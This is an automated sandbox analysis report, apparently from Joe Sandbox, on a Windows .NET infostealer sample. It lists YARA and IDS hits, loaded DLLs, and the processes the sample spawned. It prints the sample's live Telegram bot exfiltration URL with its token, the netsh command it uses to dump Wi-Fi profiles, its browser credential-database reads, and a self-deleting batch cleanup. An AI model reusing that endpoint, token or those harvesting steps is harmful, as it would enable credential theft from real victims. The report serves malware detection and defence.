Windows Analysis Report
zyEDYRU0jw.exe

AI detected suspicious sample

Source: Yara match	File source: zyEDYRU0jw.exe, type: SAMPLE
Source: Yara match	File source: 0.0.zyEDYRU0jw.exe.650000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2064228999.0000000000652000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: zyEDYRU0jw.exe PID: 1352, type: MEMORYSTR

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for sample

Source: zyEDYRU0jw.exe

Joe Sandbox ML: detected

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49708 version: TLS 1.2

Source: zyEDYRU0jw.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: System.Xml.ni.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.ni.pdbRSDS source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Windows.Forms.pdbMZ@ source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: Stealer.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Core.pdbSystem.ni.dll source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: C:\Users\Malware\Desktop\Arcane\Str\Stealer\Stealer\obj\Release\Stealer.pdb source: zyEDYRU0jw.exe
Source:	Binary string: System.Configuration.ni.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Net.Http.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: mscorlib.ni.pdbRSDS source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Security.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.IO.Compression.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Configuration.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Xml.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Core.ni.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Windows.Forms.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: mscorlib.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: LOGLOA~1.PDBwinload_prod.pdb source: zyEDYRU0jw.exe, 00000000.00000002.2256448828.0000000005B1A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.ni.pdbRSDSJ< source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: acation Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA93)W source: zyEDYRU0jw.exe, 00000000.00000002.2256448828.0000000005B31000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Net.Http.ni.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Management.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Drawing.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Drawing.pdb < source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: mscorlib.ni.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Management.ni.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Core.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Management.pdbMZ@ source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.IO.Compression.pdbH source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Net.Http.ni.pdbRSDS source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.ni.pdb source: WERD44F.tmp.dmp.19.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERD44F.tmp.dmp.19.dr

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2843856 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screenshot.) M2 : 192.168.2.5:49708 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2039009 - Severity 1 - ET MALWARE Win32/SaintStealer CnC Response : 149.154.167.220:443 -> 192.168.2.5:49708

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic	HTTP traffic detected: POST /bot7501458999:AAE_ZNbE_D3XZ8TXpCn-L8D8f4rkvZodj0c/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary="6b29678b-5dd7-4ef1-9acd-f26ecdf2bb88"Host: api.telegram.orgContent-Length: 89443Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.16.184.241 104.16.184.241

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

DNS query: name: icanhazip.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive

Source: zyEDYRU0jw.exe	String found in binary or memory: https://mail.ru%https://rambler.ru-https://www.paypal.com#https://yandex.ru equals www.rambler.ru (Rambler)
Source: zyEDYRU0jw.exe	String found in binary or memory: https://mega.nz%https://roblox.com%https://cpanel.net'https://discord.com%https://tiktok.com3https://www.instagram.com%https://twitch.com7https://store.epicgames.com;https://genshin.hoyoverse.com5https://us.shop.battle.net/https://www.booking.com/https://keep.google.com)https://www.ebay.com5https://steamcommunity.com3https://www.microsoft.com#https://yahoo.com'https://www.aol.com1https://www.coinbase.com)https://freebitco.in%https://funpay.com%https://github.com-https://www.icloud.com-https://www.reddit.com equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: icanhazip.com
Source: global traffic	DNS traffic detected: DNS query: 238.14.8.0.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown

HTTP traffic detected: POST /bot7501458999:AAE_ZNbE_D3XZ8TXpCn-L8D8f4rkvZodj0c/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary="6b29678b-5dd7-4ef1-9acd-f26ecdf2bb88"Host: api.telegram.orgContent-Length: 89443Expect: 100-continueConnection: Keep-Alive

Source: zyEDYRU0jw.exe, 00000000.00000002.2250498152.0000000002AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: zyEDYRU0jw.exe, 00000000.00000002.2250498152.0000000002AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.orgd
Source: zyEDYRU0jw.exe	String found in binary or memory: http://icanhazip.com
Source: zyEDYRU0jw.exe, 00000000.00000002.2250498152.0000000002A31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://icanhazip.com/
Source: zyEDYRU0jw.exe, 00000000.00000002.2250498152.0000000002A31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Amcache.hve.19.dr	String found in binary or memory: http://upx.sf.net
Source: tmpB0CD.tmp.dat.0.dr, tmpB0DF.tmp.dat.0.dr, tmpB0DE.tmp.dat.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: zyEDYRU0jw.exe	String found in binary or memory: https://accounts.google.com/oauth/multilogin
Source: zyEDYRU0jw.exe, 00000000.00000002.2250498152.0000000002AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: zyEDYRU0jw.exe	String found in binary or memory: https://api.telegram.org/bot
Source: zyEDYRU0jw.exe, 00000000.00000002.2250498152.0000000002AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7501458999:AAE_ZNbE_D3XZ8TXpCn-L8D8f4rkvZodj0c/sendDocument
Source: zyEDYRU0jw.exe, 00000000.00000002.2250498152.0000000002AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7501458999:AAE_ZNbE_D3XZ8TXpCn-L8D8f4rkvZodj0c/sendDocumentT
Source: tmpB0CD.tmp.dat.0.dr, tmpB0DF.tmp.dat.0.dr, tmpB0DE.tmp.dat.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: tmpB0CD.tmp.dat.0.dr, tmpB0DF.tmp.dat.0.dr, tmpB0DE.tmp.dat.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: tmpB0CD.tmp.dat.0.dr, tmpB0DF.tmp.dat.0.dr, tmpB0DE.tmp.dat.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: zyEDYRU0jw.exe	String found in binary or memory: https://discord.com%https://tiktok.com3https://www.instagram.com%https://twitch.com7https://store.ep
Source: tmpB0CD.tmp.dat.0.dr, tmpB0DF.tmp.dat.0.dr, tmpB0DE.tmp.dat.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: tmpB0CD.tmp.dat.0.dr, tmpB0DF.tmp.dat.0.dr, tmpB0DE.tmp.dat.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: tmpB0CD.tmp.dat.0.dr, tmpB0DF.tmp.dat.0.dr, tmpB0DE.tmp.dat.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: zyEDYRU0jw.exe	String found in binary or memory: https://gmail.com
Source: zyEDYRU0jw.exe	String found in binary or memory: https://ipinfo.io/#
Source: zyEDYRU0jw.exe	String found in binary or memory: https://mega.nz%https://roblox.com%https://cpanel.net
Source: zyEDYRU0jw.exe	String found in binary or memory: https://ozon.ru
Source: zyEDYRU0jw.exe	String found in binary or memory: https://www.aol.com1https://www.coinbase.com)https://freebitco.in%https://funpay.com%https://github.
Source: tmpB0CD.tmp.dat.0.dr, tmpB0DF.tmp.dat.0.dr, tmpB0DE.tmp.dat.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: tmpB0CD.tmp.dat.0.dr, tmpB0DF.tmp.dat.0.dr, tmpB0DE.tmp.dat.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: zyEDYRU0jw.exe	String found in binary or memory: https://x.com-https://ads.google.com-https://pay.google.com

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49708 version: TLS 1.2

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe

Window created: window name: CLIPBRDWNDCLASS

E-Banking Fraud

Source: Yara match	File source: zyEDYRU0jw.exe, type: SAMPLE
Source: Yara match	File source: 0.0.zyEDYRU0jw.exe.650000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2064228999.0000000000652000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: zyEDYRU0jw.exe PID: 1352, type: MEMORYSTR

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Code function: 0_2_00D3FC18	0_2_00D3FC18
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Code function: 0_2_00D355A7	0_2_00D355A7
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Code function: 0_2_00D355A8	0_2_00D355A8
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Code function: 0_2_06D06A68	0_2_06D06A68
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Code function: 0_2_06D0E338	0_2_06D0E338
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Code function: 0_2_06D01EF0	0_2_06D01EF0
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Code function: 0_2_06D01EE0	0_2_06D01EE0
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Code function: 0_2_06D0DE77	0_2_06D0DE77
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Code function: 0_2_06D0FC28	0_2_06D0FC28
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Code function: 0_2_06D0FD70	0_2_06D0FD70
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Code function: 0_2_06D0DB25	0_2_06D0DB25
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Code function: 0_2_06E70430	0_2_06E70430

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1352 -s 3228

Source: zyEDYRU0jw.exe, 00000000.00000000.2064228999.0000000000652000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameStealer.exeJ vs zyEDYRU0jw.exe
Source: zyEDYRU0jw.exe, 00000000.00000002.2250498152.0000000002A31000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs zyEDYRU0jw.exe
Source: zyEDYRU0jw.exe, 00000000.00000002.2250498152.0000000002C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamefirefox.exe0 vs zyEDYRU0jw.exe
Source: zyEDYRU0jw.exe, 00000000.00000002.2250498152.0000000002C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]q,\\StringFileInfo\\000004B0\\OriginalFilename vs zyEDYRU0jw.exe
Source: zyEDYRU0jw.exe, 00000000.00000002.2249779842.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs zyEDYRU0jw.exe
Source: zyEDYRU0jw.exe, 00000000.00000002.2250498152.0000000002D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsedge.exe> vs zyEDYRU0jw.exe
Source: zyEDYRU0jw.exe, 00000000.00000002.2250498152.0000000002D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]q,\\StringFileInfo\\040904B0\\OriginalFilename vs zyEDYRU0jw.exe
Source: zyEDYRU0jw.exe, 00000000.00000002.2250498152.0000000002CEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamechrome.exe< vs zyEDYRU0jw.exe
Source: zyEDYRU0jw.exe, 00000000.00000002.2250498152.0000000002CEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]q,\\StringFileInfo\\040904B0\\OriginalFilename vs zyEDYRU0jw.exe
Source: zyEDYRU0jw.exe, 00000000.00000002.2259776720.0000000006990000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs zyEDYRU0jw.exe
Source: zyEDYRU0jw.exe	Binary or memory string: OriginalFilenameStealer.exeJ vs zyEDYRU0jw.exe

Source: zyEDYRU0jw.exe, ChromeDevToolsWrapper.cs

Suspicious URL: 'https://avito.ru', 'https://rambler.ru', 'https://yandex.ru'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@25/20@3/2

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe

Code function: 0_2_06D03CAC CreateToolhelp32Snapshot,

0_2_06D03CAC

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5804:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7240:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7548:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1352

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe

File created: C:\Users\user\AppData\Local\Temp\bwvswysc.wf3

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C C:\Users\user\AppData\Local\Temp\tmp48A1.tmp.bat & Del C:\Users\user\AppData\Local\Temp\tmp48A1.tmp.bat

Source: zyEDYRU0jw.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: zyEDYRU0jw.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name, NumberOfCores, MaxClockSpeed FROM Win32_Processor
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( ProcessId = 1352)

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: zyEDYRU0jw.exe, 00000000.00000002.2250498152.0000000002FBF000.00000004.00000800.00020000.00000000.sdmp, zyEDYRU0jw.exe, 00000000.00000002.2250498152.0000000002C05000.00000004.00000800.00020000.00000000.sdmp, tmpB10E.tmp.dat.0.dr, tmpB0CB.tmp.dat.0.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: zyEDYRU0jw.exe

ReversingLabs: Detection: 63%

Source: unknown	Process created: C:\Users\user\Desktop\zyEDYRU0jw.exe "C:\Users\user\Desktop\zyEDYRU0jw.exe"
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /C chcp 65001 && netsh wlan show profiles \| findstr All
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profiles
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr All
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C C:\Users\user\AppData\Local\Temp\tmp48A1.tmp.bat & Del C:\Users\user\AppData\Local\Temp\tmp48A1.tmp.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe TaskKill /F /IM 1352
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe Timeout /T 2 /Nobreak
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1352 -s 3228
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /C chcp 65001 && netsh wlan show profiles \| findstr All	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c tasklist	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C C:\Users\user\AppData\Local\Temp\tmp48A1.tmp.bat & Del C:\Users\user\AppData\Local\Temp\tmp48A1.tmp.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profiles	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr All	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe TaskKill /F /IM 1352	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe Timeout /T 2 /Nobreak	Jump to behavior

Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\zyEDYRU0jw.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
